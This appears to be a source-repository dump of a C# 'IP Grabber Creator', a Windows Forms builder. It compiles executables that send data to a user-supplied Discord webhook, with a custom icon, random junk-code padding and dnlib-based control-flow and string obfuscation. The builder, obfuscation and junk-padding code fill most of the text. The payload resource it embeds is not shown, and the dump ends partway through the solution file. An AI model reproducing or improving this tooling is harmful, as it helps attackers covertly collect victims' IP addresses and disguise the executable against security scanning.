├── .github
└── FUNDING.yml
├── App.config
├── BlockParser.cs
├── ControlFlow.cs
├── FodyWeavers.xml
├── FodyWeavers.xsd
├── Form1.Designer.cs
├── Form1.cs
├── Form1.resx
├── IP Grabber.csproj
├── IP Grabber.sln
├── LICENSE
├── ObfProtection.cs
├── Program.cs
├── Properties
├── AssemblyInfo.cs
├── Resources.Designer.cs
├── Resources.resx
├── Settings.Designer.cs
└── Settings.settings
├── README.md
├── ip icon-min.ico
├── packages.config
└── packages
├── Costura.Fody.4.1.0
├── Costura.Fody.4.1.0.nupkg
├── build
│ └── Costura.Fody.props
├── lib
│ └── net40
│ │ ├── Costura.dll
│ │ └── Costura.xml
└── weaver
│ ├── Costura.Fody.dll
│ └── Costura.Fody.xcf
├── Fody.6.2.4
├── Fody.6.2.4.nupkg
├── License.txt
├── build
│ └── Fody.targets
├── netclassictask
│ ├── Fody.dll
│ ├── FodyCommon.dll
│ ├── FodyHelpers.dll
│ ├── FodyIsolated.dll
│ ├── Mono.Cecil.Pdb.dll
│ ├── Mono.Cecil.Pdb.pdb
│ ├── Mono.Cecil.Rocks.dll
│ ├── Mono.Cecil.Rocks.pdb
│ ├── Mono.Cecil.dll
│ └── Mono.Cecil.pdb
└── netstandardtask
│ ├── Fody.dll
│ ├── FodyCommon.dll
│ ├── FodyHelpers.dll
│ ├── FodyIsolated.dll
│ ├── Mono.Cecil.Pdb.dll
│ ├── Mono.Cecil.Pdb.pdb
│ ├── Mono.Cecil.Rocks.dll
│ ├── Mono.Cecil.Rocks.pdb
│ ├── Mono.Cecil.dll
│ └── Mono.Cecil.pdb
└── dnlib.3.3.2
├── LICENSE.txt
├── dnlib.3.3.2.nupkg
└── lib
├── net35
├── dnlib.dll
└── dnlib.xml
├── net45
├── dnlib.dll
└── dnlib.xml
└── netstandard2.0
├── dnlib.dll
└── dnlib.xml
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
4 | patreon: # Replace with a single Patreon username
5 | open_collective: # Replace with a single Open Collective username
6 | ko_fi: kye5000
7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
9 | liberapay: # Replace with a single Liberapay username
10 | issuehunt: # Replace with a single IssueHunt username
11 | otechie: # Replace with a single Otechie username
12 | lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry
13 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
14 |
--------------------------------------------------------------------------------
/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/BlockParser.cs:
--------------------------------------------------------------------------------
1 | using dnlib.DotNet;
2 | using dnlib.DotNet.Emit;
3 | using System.Collections.Generic;
4 |
5 | namespace IP_Grabber
6 | {
7 | public class Block
8 | {
9 | public Block()
10 | {
11 | Instructions = new List();
12 | }
13 |
14 | public List Instructions { get; set; }
15 |
16 | public int Number { get; set; }
17 | }
18 |
19 | public class BlockParser
20 | {
21 |
22 | public static List ParseMethod(MethodDef method)
23 | {
24 | var blocks = new List();
25 | var block = new Block();
26 | var Id = 0;
27 | var usage = 0;
28 | block.Number = Id;
29 | block.Instructions.Add(Instruction.Create(OpCodes.Nop));
30 | blocks.Add(block);
31 | block = new Block();
32 | var handlers = new Stack();
33 | foreach (var instruction in method.Body.Instructions)
34 | {
35 | foreach (var eh in method.Body.ExceptionHandlers)
36 | {
37 | if (eh.HandlerStart == instruction || eh.TryStart == instruction || eh.FilterStart == instruction)
38 | handlers.Push(eh);
39 | }
40 | foreach (var eh in method.Body.ExceptionHandlers)
41 | {
42 | if (eh.HandlerEnd == instruction || eh.TryEnd == instruction)
43 | handlers.Pop();
44 | }
45 |
46 | instruction.CalculateStackUsage(out var stacks, out var pops);
47 | block.Instructions.Add(instruction);
48 | usage += stacks - pops;
49 | if (stacks == 0)
50 | {
51 | if (instruction.OpCode != OpCodes.Nop)
52 | {
53 | if ((usage == 0 || instruction.OpCode == OpCodes.Ret) && handlers.Count == 0)
54 | {
55 | block.Number = ++Id;
56 | blocks.Add(block);
57 | block = new Block();
58 | }
59 | }
60 | }
61 | }
62 | return blocks;
63 | }
64 | }
65 | }
66 |
--------------------------------------------------------------------------------
/ControlFlow.cs:
--------------------------------------------------------------------------------
1 | using dnlib.DotNet;
2 | using dnlib.DotNet.Emit;
3 | using System;
4 | using System.Collections.Generic;
5 | using System.Linq;
6 |
7 | namespace IP_Grabber
8 | {
9 | internal class ControlFlowObfuscation
10 | {
11 | public static void Execute(ModuleDefMD md)
12 | {
13 | foreach (var tDef in md.Types)
14 | {
15 | if (tDef == md.GlobalType) continue;
16 | foreach (var mDef in tDef.Methods)
17 | {
18 | if (mDef.Name.StartsWith("get_") || mDef.Name.StartsWith("set_")) continue;
19 | if (!mDef.HasBody || mDef.IsConstructor) continue;
20 | mDef.Body.SimplifyBranches();
21 | ExecuteMethod(mDef);
22 | }
23 | }
24 | }
25 |
26 | public static void ExecuteMethod(MethodDef method)
27 | {
28 | method.Body.SimplifyMacros(method.Parameters);
29 | var blocks = BlockParser.ParseMethod(method);
30 | blocks = Randomize(blocks);
31 | method.Body.Instructions.Clear();
32 | var local = new Local(method.Module.CorLibTypes.Int32);
33 | method.Body.Variables.Add(local);
34 | var target = Instruction.Create(OpCodes.Nop);
35 | var instr = Instruction.Create(OpCodes.Br, target);
36 | foreach (var instruction in Calc(0))
37 | method.Body.Instructions.Add(instruction);
38 | method.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc, local));
39 | method.Body.Instructions.Add(Instruction.Create(OpCodes.Br, instr));
40 | method.Body.Instructions.Add(target);
41 | foreach (var block in blocks.Where(block => block != blocks.Single(x => x.Number == blocks.Count - 1)))
42 | {
43 | method.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc, local));
44 | foreach (var instruction in Calc(block.Number))
45 | method.Body.Instructions.Add(instruction);
46 | method.Body.Instructions.Add(Instruction.Create(OpCodes.Ceq));
47 | var instruction4 = Instruction.Create(OpCodes.Nop);
48 | method.Body.Instructions.Add(Instruction.Create(OpCodes.Brfalse, instruction4));
49 |
50 | foreach (var instruction in block.Instructions)
51 | method.Body.Instructions.Add(instruction);
52 |
53 | foreach (var instruction in Calc(block.Number + 1))
54 | method.Body.Instructions.Add(instruction);
55 |
56 | method.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc, local));
57 | method.Body.Instructions.Add(instruction4);
58 | }
59 | method.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc, local));
60 | foreach (var instruction in Calc(blocks.Count - 1))
61 | method.Body.Instructions.Add(instruction);
62 | method.Body.Instructions.Add(Instruction.Create(OpCodes.Ceq));
63 | method.Body.Instructions.Add(Instruction.Create(OpCodes.Brfalse, instr));
64 | method.Body.Instructions.Add(Instruction.Create(OpCodes.Br, blocks.Single(x => x.Number == blocks.Count - 1).Instructions[0]));
65 | method.Body.Instructions.Add(instr);
66 |
67 | foreach (var lastBlock in blocks.Single(x => x.Number == blocks.Count - 1).Instructions)
68 | method.Body.Instructions.Add(lastBlock);
69 | }
70 |
71 | public static Random rnd = new Random();
72 |
73 | public static List Randomize(List input)
74 | {
75 | var ret = new List();
76 | foreach (var group in input)
77 | ret.Insert(rnd.Next(0, ret.Count), group);
78 | return ret;
79 | }
80 |
81 | public static List Calc(int value)
82 | {
83 | var instructions = new List { Instruction.Create(OpCodes.Ldc_I4, value) };
84 | return instructions;
85 | }
86 |
87 | public void AddJump(IList instrs, Instruction target)
88 | {
89 | instrs.Add(Instruction.Create(OpCodes.Br, target));
90 | }
91 | }
92 | }
93 |
--------------------------------------------------------------------------------
/FodyWeavers.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/FodyWeavers.xsd:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks
13 |
14 |
15 |
16 |
17 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.
18 |
19 |
20 |
21 |
22 | A list of unmanaged 32 bit assembly names to include, delimited with line breaks.
23 |
24 |
25 |
26 |
27 | A list of unmanaged 64 bit assembly names to include, delimited with line breaks.
28 |
29 |
30 |
31 |
32 | The order of preloaded assemblies, delimited with line breaks.
33 |
34 |
35 |
36 |
37 |
38 | This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.
39 |
40 |
41 |
42 |
43 | Controls if .pdbs for reference assemblies are also embedded.
44 |
45 |
46 |
47 |
48 | Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.
49 |
50 |
51 |
52 |
53 | As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.
54 |
55 |
56 |
57 |
58 | Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.
59 |
60 |
61 |
62 |
63 | Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.
64 |
65 |
66 |
67 |
68 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |
69 |
70 |
71 |
72 |
73 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.
74 |
75 |
76 |
77 |
78 | A list of unmanaged 32 bit assembly names to include, delimited with |.
79 |
80 |
81 |
82 |
83 | A list of unmanaged 64 bit assembly names to include, delimited with |.
84 |
85 |
86 |
87 |
88 | The order of preloaded assemblies, delimited with |.
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 | 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.
97 |
98 |
99 |
100 |
101 | A comma-separated list of error codes that can be safely ignored in assembly verification.
102 |
103 |
104 |
105 |
106 | 'false' to turn off automatic generation of the XML Schema file.
107 |
108 |
109 |
110 |
111 |
--------------------------------------------------------------------------------
/Form1.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace IP_Grabber
2 | {
3 | partial class Form1
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
32 | this.button1 = new System.Windows.Forms.Button();
33 | this.textBox1 = new System.Windows.Forms.TextBox();
34 | this.log = new System.Windows.Forms.TextBox();
35 | this.nameSpace = new System.Windows.Forms.TextBox();
36 | this.label1 = new System.Windows.Forms.Label();
37 | this.label2 = new System.Windows.Forms.Label();
38 | this.webhook = new System.Windows.Forms.TextBox();
39 | this.button3 = new System.Windows.Forms.Button();
40 | this.label3 = new System.Windows.Forms.Label();
41 | this.label4 = new System.Windows.Forms.Label();
42 | this.textBox3 = new System.Windows.Forms.TextBox();
43 | this.button2 = new System.Windows.Forms.Button();
44 | this.junkBox = new System.Windows.Forms.CheckBox();
45 | this.obfbox = new System.Windows.Forms.CheckBox();
46 | this.SuspendLayout();
47 | //
48 | // button1
49 | //
50 | this.button1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
51 | this.button1.Location = new System.Drawing.Point(17, 279);
52 | this.button1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
53 | this.button1.Name = "button1";
54 | this.button1.Size = new System.Drawing.Size(344, 58);
55 | this.button1.TabIndex = 0;
56 | this.button1.Text = "Compile";
57 | this.button1.UseVisualStyleBackColor = true;
58 | this.button1.Click += new System.EventHandler(this.button1_Click);
59 | //
60 | // textBox1
61 | //
62 | this.textBox1.Font = new System.Drawing.Font("Consolas", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
63 | this.textBox1.Location = new System.Drawing.Point(17, 435);
64 | this.textBox1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
65 | this.textBox1.Multiline = true;
66 | this.textBox1.Name = "textBox1";
67 | this.textBox1.ReadOnly = true;
68 | this.textBox1.Size = new System.Drawing.Size(706, 241);
69 | this.textBox1.TabIndex = 2;
70 | //
71 | // log
72 | //
73 | this.log.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(122)))), ((int)(((byte)(124)))), ((int)(((byte)(255)))));
74 | this.log.BorderStyle = System.Windows.Forms.BorderStyle.None;
75 | this.log.Font = new System.Drawing.Font("Consolas", 8F);
76 | this.log.Location = new System.Drawing.Point(367, 341);
77 | this.log.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
78 | this.log.Multiline = true;
79 | this.log.Name = "log";
80 | this.log.ReadOnly = true;
81 | this.log.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal;
82 | this.log.Size = new System.Drawing.Size(355, 82);
83 | this.log.TabIndex = 3;
84 | //
85 | // nameSpace
86 | //
87 | this.nameSpace.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(122)))), ((int)(((byte)(124)))), ((int)(((byte)(255)))));
88 | this.nameSpace.BorderStyle = System.Windows.Forms.BorderStyle.None;
89 | this.nameSpace.Location = new System.Drawing.Point(138, 12);
90 | this.nameSpace.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
91 | this.nameSpace.Multiline = true;
92 | this.nameSpace.Name = "nameSpace";
93 | this.nameSpace.Size = new System.Drawing.Size(343, 40);
94 | this.nameSpace.TabIndex = 4;
95 | //
96 | // label1
97 | //
98 | this.label1.AutoSize = true;
99 | this.label1.Location = new System.Drawing.Point(73, 21);
100 | this.label1.Name = "label1";
101 | this.label1.Size = new System.Drawing.Size(59, 15);
102 | this.label1.TabIndex = 6;
103 | this.label1.Text = "Filename:";
104 | //
105 | // label2
106 | //
107 | this.label2.AutoSize = true;
108 | this.label2.Location = new System.Drawing.Point(7, 63);
109 | this.label2.Name = "label2";
110 | this.label2.Size = new System.Drawing.Size(127, 15);
111 | this.label2.TabIndex = 8;
112 | this.label2.Text = "Discord Webhook URL:";
113 | //
114 | // webhook
115 | //
116 | this.webhook.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(122)))), ((int)(((byte)(124)))), ((int)(((byte)(255)))));
117 | this.webhook.BorderStyle = System.Windows.Forms.BorderStyle.None;
118 | this.webhook.Font = new System.Drawing.Font("Consolas", 7F);
119 | this.webhook.Location = new System.Drawing.Point(138, 60);
120 | this.webhook.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
121 | this.webhook.Multiline = true;
122 | this.webhook.Name = "webhook";
123 | this.webhook.Size = new System.Drawing.Size(343, 40);
124 | this.webhook.TabIndex = 7;
125 | //
126 | // button3
127 | //
128 | this.button3.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
129 | this.button3.Location = new System.Drawing.Point(17, 341);
130 | this.button3.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
131 | this.button3.Name = "button3";
132 | this.button3.Size = new System.Drawing.Size(344, 81);
133 | this.button3.TabIndex = 9;
134 | this.button3.Text = "View Code (Can only view after compiling)";
135 | this.button3.UseVisualStyleBackColor = true;
136 | this.button3.Click += new System.EventHandler(this.button3_Click);
137 | //
138 | // label3
139 | //
140 | this.label3.AutoSize = true;
141 | this.label3.Location = new System.Drawing.Point(365, 321);
142 | this.label3.Name = "label3";
143 | this.label3.Size = new System.Drawing.Size(29, 15);
144 | this.label3.TabIndex = 10;
145 | this.label3.Text = "Log:";
146 | //
147 | // label4
148 | //
149 | this.label4.AutoSize = true;
150 | this.label4.Location = new System.Drawing.Point(20, 122);
151 | this.label4.Name = "label4";
152 | this.label4.Size = new System.Drawing.Size(117, 15);
153 | this.label4.TabIndex = 12;
154 | this.label4.Text = ".exe icon (Optional):";
155 | //
156 | // textBox3
157 | //
158 | this.textBox3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(122)))), ((int)(((byte)(124)))), ((int)(((byte)(255)))));
159 | this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None;
160 | this.textBox3.Font = new System.Drawing.Font("Consolas", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
161 | this.textBox3.Location = new System.Drawing.Point(138, 109);
162 | this.textBox3.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
163 | this.textBox3.Multiline = true;
164 | this.textBox3.Name = "textBox3";
165 | this.textBox3.ReadOnly = true;
166 | this.textBox3.Size = new System.Drawing.Size(343, 40);
167 | this.textBox3.TabIndex = 11;
168 | //
169 | // button2
170 | //
171 | this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
172 | this.button2.Location = new System.Drawing.Point(489, 109);
173 | this.button2.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
174 | this.button2.Name = "button2";
175 | this.button2.Size = new System.Drawing.Size(148, 41);
176 | this.button2.TabIndex = 13;
177 | this.button2.Text = "Browse";
178 | this.button2.UseVisualStyleBackColor = true;
179 | this.button2.Click += new System.EventHandler(this.button2_Click);
180 | //
181 | // junkBox
182 | //
183 | this.junkBox.AutoSize = true;
184 | this.junkBox.Location = new System.Drawing.Point(138, 176);
185 | this.junkBox.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
186 | this.junkBox.Name = "junkBox";
187 | this.junkBox.Size = new System.Drawing.Size(301, 19);
188 | this.junkBox.TabIndex = 14;
189 | this.junkBox.Text = "Add Junk (Recommended but can increase filesize)";
190 | this.junkBox.UseVisualStyleBackColor = true;
191 | //
192 | // obfbox
193 | //
194 | this.obfbox.AutoSize = true;
195 | this.obfbox.Checked = true;
196 | this.obfbox.CheckState = System.Windows.Forms.CheckState.Checked;
197 | this.obfbox.Location = new System.Drawing.Point(138, 203);
198 | this.obfbox.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
199 | this.obfbox.Name = "obfbox";
200 | this.obfbox.Size = new System.Drawing.Size(103, 19);
201 | this.obfbox.TabIndex = 16;
202 | this.obfbox.Text = "Obfuscate Exe";
203 | this.obfbox.UseVisualStyleBackColor = true;
204 | //
205 | // Form1
206 | //
207 | this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 15F);
208 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
209 | this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(48)))), ((int)(((byte)(79)))), ((int)(((byte)(254)))));
210 | this.ClientSize = new System.Drawing.Size(735, 433);
211 | this.Controls.Add(this.obfbox);
212 | this.Controls.Add(this.junkBox);
213 | this.Controls.Add(this.button2);
214 | this.Controls.Add(this.label4);
215 | this.Controls.Add(this.textBox3);
216 | this.Controls.Add(this.label3);
217 | this.Controls.Add(this.button3);
218 | this.Controls.Add(this.label2);
219 | this.Controls.Add(this.webhook);
220 | this.Controls.Add(this.label1);
221 | this.Controls.Add(this.nameSpace);
222 | this.Controls.Add(this.log);
223 | this.Controls.Add(this.textBox1);
224 | this.Controls.Add(this.button1);
225 | this.Font = new System.Drawing.Font("Century Gothic", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
226 | this.ForeColor = System.Drawing.Color.White;
227 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
228 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
229 | this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
230 | this.MaximizeBox = false;
231 | this.Name = "Form1";
232 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
233 | this.Text = "IP Grabber Creator | By Kye";
234 | this.ResumeLayout(false);
235 | this.PerformLayout();
236 |
237 | }
238 |
239 | #endregion
240 |
241 | private System.Windows.Forms.Button button1;
242 | private System.Windows.Forms.TextBox textBox1;
243 | private System.Windows.Forms.TextBox log;
244 | private System.Windows.Forms.TextBox nameSpace;
245 | private System.Windows.Forms.Label label1;
246 | private System.Windows.Forms.Label label2;
247 | private System.Windows.Forms.TextBox webhook;
248 | private System.Windows.Forms.Button button3;
249 | private System.Windows.Forms.Label label3;
250 | private System.Windows.Forms.Label label4;
251 | private System.Windows.Forms.TextBox textBox3;
252 | private System.Windows.Forms.Button button2;
253 | private System.Windows.Forms.CheckBox junkBox;
254 | private System.Windows.Forms.CheckBox obfbox;
255 | }
256 | }
257 |
258 |
--------------------------------------------------------------------------------
/Form1.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.CSharp;
2 | using System;
3 | using System.CodeDom.Compiler;
4 | using System.Drawing;
5 | using System.Windows.Forms;
6 | using System.Linq;
7 | using System.Threading;
8 | using System.Diagnostics;
9 | using System.Net;
10 | using System.IO;
11 | using dnlib.DotNet;
12 | namespace IP_Grabber
13 | {
14 | public partial class Form1 : Form
15 | {
16 | public Form1()
17 | {
18 | InitializeComponent();
19 | }
20 | public static string BR()
21 | {
22 | return Environment.NewLine;
23 | }
24 | public string code { get; set; }
25 | void Compile()
26 | {
27 | CheckForIllegalCrossThreadCalls = false;
28 | Stopwatch stopwatch = new Stopwatch();
29 | stopwatch.Start();
30 | Text = "IP Grabber Creator | Compiling... | By Kye";
31 | //CSharpCodeProvider codeProvider = ;
32 | ICodeCompiler icc = new CSharpCodeProvider().CreateCompiler();
33 | string Output = nameSpace.Text + ".exe";
34 | CompilerParameters parameters = new CompilerParameters();
35 | //Make sure we generate an EXE, not a DLL
36 | parameters.GenerateExecutable = true;
37 | if (!obfbox.Checked)
38 | {
39 | //If not obfuscating
40 | parameters.OutputAssembly = Output;
41 | }
42 | else
43 | {
44 | //If obfuscating
45 | parameters.OutputAssembly = Output + "_243789.exe";
46 | }
47 |
48 | //Add the usual shit
49 | parameters.ReferencedAssemblies.Add("System.dll");
50 | parameters.ReferencedAssemblies.Add("mscorlib.dll");
51 | //parameters.CompilerOptions = "/optimize";
52 | if (textBox3.Text != "")
53 | {
54 | parameters.CompilerOptions = @"/win32icon:" + "\"" + textBox3.Text + "\"";
55 | }
56 | string namespace2 = nameSpace.Text.Replace(" ", "_");
57 | code = "using System;" + BR();
58 | code += "using System.Net;" + BR();
59 | code += "using System.IO;" + BR();
60 | code += "using System.Text;" + BR();
61 | code += "namespace " + namespace2 + BR();
62 | code += "{" + BR();
63 | code += " class " + namespace2 + "_Class" + BR();
64 | code += " {" + BR();
65 |
66 | if (junkBox.Checked)
67 | {
68 | for (int i = 0; i < 125; i++)
69 | {
70 | code += "public static void " + RandomString(random.Next(5, 20)) + "() {}" + BR();
71 | code += "public static string " + RandomString(random.Next(5, 20)) + "() { return null; }" + BR();
72 | code += "public static string[] " + RandomString(random.Next(5, 20)) + " = {\"a\"};" + BR();
73 | code += "private static string " + RandomString(random.Next(5, 20)) + "() { return null; }" + BR();
74 | code += "public static int " + RandomString(random.Next(5, 20)) + "() { return 0; }" + BR();
75 | code += "public static class " + RandomString(random.Next(5, 20)) + " {}" + BR();
76 | code += "public static byte[] " + RandomString(random.Next(5, 20)) + " = {0};" + BR();
77 | code += "public static long " + RandomString(random.Next(5, 20)) + " = 0;" + BR();
78 | code += "public static long[] " + RandomString(random.Next(5, 20)) + " = {0};" + BR();
79 | if (i == 80)
80 | {
81 | code += Properties.Resources.main.Replace("%webhook%", webhook.Text);
82 | }
83 | }
84 | }
85 | else
86 | {
87 | code += Properties.Resources.main.Replace("%webhook%", webhook.Text);
88 | }
89 | code += "}" + BR();
90 | code += "}" + BR();
91 | textBox1.Text = code;
92 | CompilerResults results = icc.CompileAssemblyFromSource(parameters, textBox1.Text);
93 |
94 | if (results.Errors.Count > 0)
95 | {
96 | log.ForeColor = Color.Red;
97 |
98 | foreach (CompilerError CompErr in results.Errors)
99 | {
100 | log.Text += "Line number " + CompErr.Line + ", Error Number: " + CompErr.ErrorNumber +", '" + CompErr.ErrorText + ";" + Environment.NewLine;
101 | }
102 | MessageBox.Show(results.Errors.Count.ToString() + " errors occured, check the log for more info", "IP Grabber Creator | Kye", MessageBoxButtons.OK, MessageBoxIcon.Error);
103 | }
104 | else
105 | {
106 | log.ForeColor = Color.MediumBlue;
107 | stopwatch.Start();
108 | //Successful Compile
109 |
110 |
111 | if (obfbox.Checked)
112 | {
113 | var module = ModuleDefMD.Load(Output + "_243789.exe");
114 | ObfProtection.String(module);
115 | ObfProtection.String(module);
116 | ObfProtection.String(module);
117 | ObfProtection.String(module);
118 | ObfProtection.String(module);
119 | ObfProtection.String(module);
120 | ObfProtection.String(module);
121 | ObfProtection.String(module);
122 | ObfProtection.String(module);
123 | ObfProtection.String(module);
124 | ObfProtection.String(module);
125 | ControlFlowObfuscation.Execute(module);
126 | ControlFlowObfuscation.Execute(module);
127 | ControlFlowObfuscation.Execute(module);
128 | ControlFlowObfuscation.Execute(module);
129 | ControlFlowObfuscation.Execute(module);
130 |
131 | module.Write(nameSpace.Text + ".exe");
132 | module.Dispose();
133 | File.Delete(Output + "_243789.exe");
134 | }
135 | log.Text = "Compiled " + Output + " in " + stopwatch.ElapsedMilliseconds + "ms";
136 | textBox1.Text = code;
137 | this.Text = "IP Grabber Creator | By Kye";
138 | }
139 | }
140 |
141 |
142 | private void button1_Click(object sender, EventArgs e)
143 | {
144 |
145 | string[] numbers = { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", " ", "(", ")"};
146 | foreach (string x in numbers)
147 | {
148 | if (nameSpace.Text.StartsWith(x))
149 | {
150 | MessageBox.Show("Namespace cannot start with a number or a space!", "IP Grabber Creator | By Kye", MessageBoxButtons.OK, MessageBoxIcon.Error);
151 | nameSpace.Focus();
152 | return;
153 | }
154 | }
155 | try
156 | {
157 | new WebClient().DownloadString(webhook.Text);
158 | log.Text = "Compiling...";
159 | new Thread(Compile).Start();
160 | }
161 | catch
162 | {
163 | MessageBox.Show("That's not a valid webhook url!", "IP Grabber Creator | By Kye", MessageBoxButtons.OK, MessageBoxIcon.Error);
164 | webhook.Focus();
165 | }
166 | }
167 |
168 |
169 | public bool ViewedCode = false;
170 | private void button3_Click(object sender, EventArgs e)
171 | {
172 | switch (ViewedCode)
173 | {
174 | case true:
175 | this.Size = new Size(751, 472);
176 | ViewedCode = false;
177 | break;
178 |
179 | case false:
180 | this.Size = new Size(751, 770);
181 | ViewedCode = true;
182 | break;
183 | }
184 | }
185 |
186 | private void button2_Click(object sender, EventArgs e)
187 | {
188 | using (OpenFileDialog a = new OpenFileDialog())
189 | {
190 | a.Filter = "ico file (*.ico)|*.ico";
191 | if (a.ShowDialog() == DialogResult.OK)
192 | {
193 | textBox3.Text = a.FileName;
194 | return;
195 | }
196 | if (a.ShowDialog() == DialogResult.Cancel)
197 | {
198 | textBox3.Clear();
199 | return;
200 | }
201 | }
202 | }
203 | private static Random random = new Random();
204 | public static string RandomString(int length)
205 | {
206 | const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
207 | return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
208 | }
209 | }
210 | }
211 |
--------------------------------------------------------------------------------
/IP Grabber.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Debug
7 | AnyCPU
8 | {120B1249-671A-48A6-8637-C475CACC01C7}
9 | WinExe
10 | IP_Grabber
11 | IP Grabber Creator
12 | v4.6.1
13 | 512
14 | true
15 | true
16 |
17 |
18 |
19 |
20 |
21 | AnyCPU
22 | true
23 | full
24 | true
25 | bin\Debug\
26 | DEBUG;TRACE
27 | prompt
28 | 4
29 | true
30 |
31 |
32 | AnyCPU
33 | pdbonly
34 | true
35 | bin\Release\
36 | TRACE
37 | prompt
38 | 4
39 |
40 |
41 | ip icon-min.ico
42 |
43 |
44 | IP_Grabber.Program
45 |
46 |
47 |
48 | packages\Costura.Fody.4.1.0\lib\net40\Costura.dll
49 |
50 |
51 | packages\dnlib.3.3.2\lib\net45\dnlib.dll
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 | Form
70 |
71 |
72 | Form1.cs
73 |
74 |
75 |
76 |
77 |
78 | Form1.cs
79 |
80 |
81 | ResXFileCodeGenerator
82 | Resources.Designer.cs
83 | Designer
84 |
85 |
86 | True
87 | Resources.resx
88 | True
89 |
90 |
91 |
92 | SettingsSingleFileGenerator
93 | Settings.Designer.cs
94 |
95 |
96 | True
97 | Settings.settings
98 | True
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
111 |
112 |
113 |
114 |
115 |
116 |
--------------------------------------------------------------------------------
/IP Grabber.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30406.217
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "IP Grabber", "IP Grabber.csproj", "{120B1249-671A-48A6-8637-C475CACC01C7}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
